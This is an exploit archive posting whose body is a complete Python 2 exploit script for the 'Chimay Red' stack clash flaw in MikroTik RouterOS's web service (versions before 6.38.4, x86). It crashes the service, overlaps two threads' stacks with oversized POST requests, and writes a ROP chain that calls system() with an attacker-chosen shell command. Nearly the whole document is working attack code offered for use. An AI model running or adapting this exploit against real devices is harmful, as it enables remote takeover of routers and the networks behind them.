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MikroTik RouterOS Chimay Red Stack Clash Remote Code Execution

MikroTik RouterOS Chimay Red Stack Clash Remote Code Execution
Posted Mar 13, 2018
Authored by Lorenzo Santina

MikroTik RouterOS versions prior to 6.38.4 (x86) Chimay Red stack clash remote code execution exploit.

tags | exploit, remote, x86, code execution
MD5 | fa75bb56a5777825b631d7238931d52b

MikroTik RouterOS Chimay Red Stack Clash Remote Code Execution

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#!/usr/bin/env python2

# Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)

# tested on RouterOS 6.38.4 (x86)

# ASLR enabled on libs only
# DEP enabled

import socket, time, sys, struct
from pwn import *
import ropgadget

AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!

ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain

context(arch="i386", os="linux", log_level="WARNING")

gadgets = dict()
plt = dict()
strings = dict()
system_chunks = []
cmd_chunks = []

def makeHeader(num):
return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")

def makeSocket(ip, port):
s = socket.socket()
try:
s.connect((ip, port))
except:
print("Error connecting to socket")
sys.exit(-1)
print("Connected")
time.sleep(0.5)
return s

def socketSend(s, data):
try:
s.send(data)
except:
print("Error sending data")
sys.exit(-1)
print("Sent")
time.sleep(0.5)

def ropCall(function_address, *arguments):

payload = struct.pack('<L', function_address)

num_arg = len(arguments)

if num_arg > 0:

if num_arg == 1:
ret_gadget = gadgets['p']
elif num_arg == 2:
ret_gadget = gadgets['pp']
elif num_arg == 3:
ret_gadget = gadgets['ppp']
elif num_arg == 4:
ret_gadget = gadgets['pppp']
else:
raise

payload += struct.pack('<L', ret_gadget)

for arg in arguments:
payload += struct.pack('<L', arg)

return payload

# pwntools filters out JOP gadgets
# https://github.com/Gallopsled/pwntools/blob/5d537a6189be5131e63144e20556302606c5895e/pwnlib/rop/rop.py#L1074
def ropSearchJmp(elf, instruction):
oldargv = sys.argv
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'jmp']
args = ropgadget.args.Args().getArgs()
core = ropgadget.core.Core(args)
core.do_binary(elf.path)
core.do_load(0)

sys.argv = oldargv

for gadget in core._Core__gadgets:
address = gadget['vaddr'] - elf.load_addr + elf.address
if gadget['gadget'] == instruction:
return address

raise

def loadOffsets(binary, shellCmd):
elf = ELF(binary)
rop = ROP(elf)

if len([_ for _ in elf.search("pthread_attr_setstacksize")]) > 0:
global AST_STACKSIZE
AST_STACKSIZE = ROS_STACKSIZE

# www PLT symbols
plt["strncpy"] = elf.plt['strncpy']
plt["dlsym"] = elf.plt['dlsym']

# Gadgets to clean the stack from arguments
gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
gadgets['p'] = rop.search(regs=["ebp"]).address

# Gadget to jump on the result of dlsym (address of system)
gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")

system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))

# get the address of the first writable segment to store strings
writable_address = elf.writable_segments[0].header.p_paddr

strings['system'] = writable_address
strings['cmd'] = writable_address + 0xf

def generateStrncpyChain(dst, chunks):
chain = ""
offset = 0
for (address, length) in chunks:
chain += ropCall(plt["strncpy"], dst + offset, address, length)
offset += length

return chain

# only search for single chars
def searchStringChunksLazy(elf, string):
chunks = []
for b in string:
res = [_ for _ in elf.search(b)]
if len(res) > 0:
chunks.append((res[0], 1))
else:
raise

if len(string) != len(chunks):
raise

return chunks

# [bugged, some problem with dots, not used]
# search chunks of string
def searchStringChunks(elf, string):
chunks = []
total = len(string)

if string == "":
raise

looking = string

while string != "":
results = [_ for _ in elf.search(looking)]

if len(results) > 0:
chunks.append((results[0], len(looking)))
string = string[len(looking):]
looking = string
else: # search failed
looking = looking[:-1] # search again removing last char

check_length = 0
for (address, length) in chunks:
check_length = check_length + length

if check_length == total:
return chunks
else:
raise

def buildROP(binary, shellCmd):
loadOffsets(binary, shellCmd)

# ROP chain
exploit = generateStrncpyChain(strings['system'], system_chunks) # w_segment = "system"
exploit += generateStrncpyChain(strings['cmd'], cmd_chunks) # w_segment = "bash cmd"
exploit += ropCall(plt["dlsym"], 0, strings['system']) # dlsym(0, "system"), eax = libc.system
exploit += ropCall(gadgets['jeax'], strings['cmd']) # system("cmd")

# The server is automatically restarted after 3 secs, so we make it crash with a random address
exploit += struct.pack('<L', 0x13371337)

return exploit

def stackClash(ip, port, ropChain):

print("Opening 2 sockets")

# 1) Start 2 threads
# open 2 socket so 2 threads are created
s1 = makeSocket(ip, port) # socket 1, thread A
s2 = makeSocket(ip, port) # socket 2, thread B

print("Stack clash...")

# 2) Stack Clash
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)

# 2.2) send some bytes as post data to socket 1 (thread A)
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved

# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned

print("Sending payload")

# 3) Send ROP chain
socketSend(s1, ropChain) # thread A writes the ROP chain in the stack of thread B

print("Starting exploit")

# 4) Start ROP chain
s2.close() # close socket 2 to return from the function of thread B and start ROP chain

print("Done!")

def crash(ip, port):
print("Crash...")
s = makeSocket(ip, port)
socketSend(s, makeHeader(-1))
socketSend(s, b'A' * 0x1000)
s.close()
time.sleep(2.5) # www takes up to 3 seconds to restart

if __name__ == "__main__":
if len(sys.argv) == 5:
ip = sys.argv[1]
port = int(sys.argv[2])
binary = sys.argv[3]
shellCmd = sys.argv[4]

print("Building ROP chain...")
ropChain = buildROP(binary, shellCmd)
print("The ROP chain is " + str(len(ropChain)) + " bytes long (" + str(ROP_SPACE) + " bytes available)")

crash(ip, port) # should make stack clash more reliable
stackClash(ip, port, ropChain)
else:
print("Usage: ./StackClashROPsystem.py IP PORT binary shellcommand")

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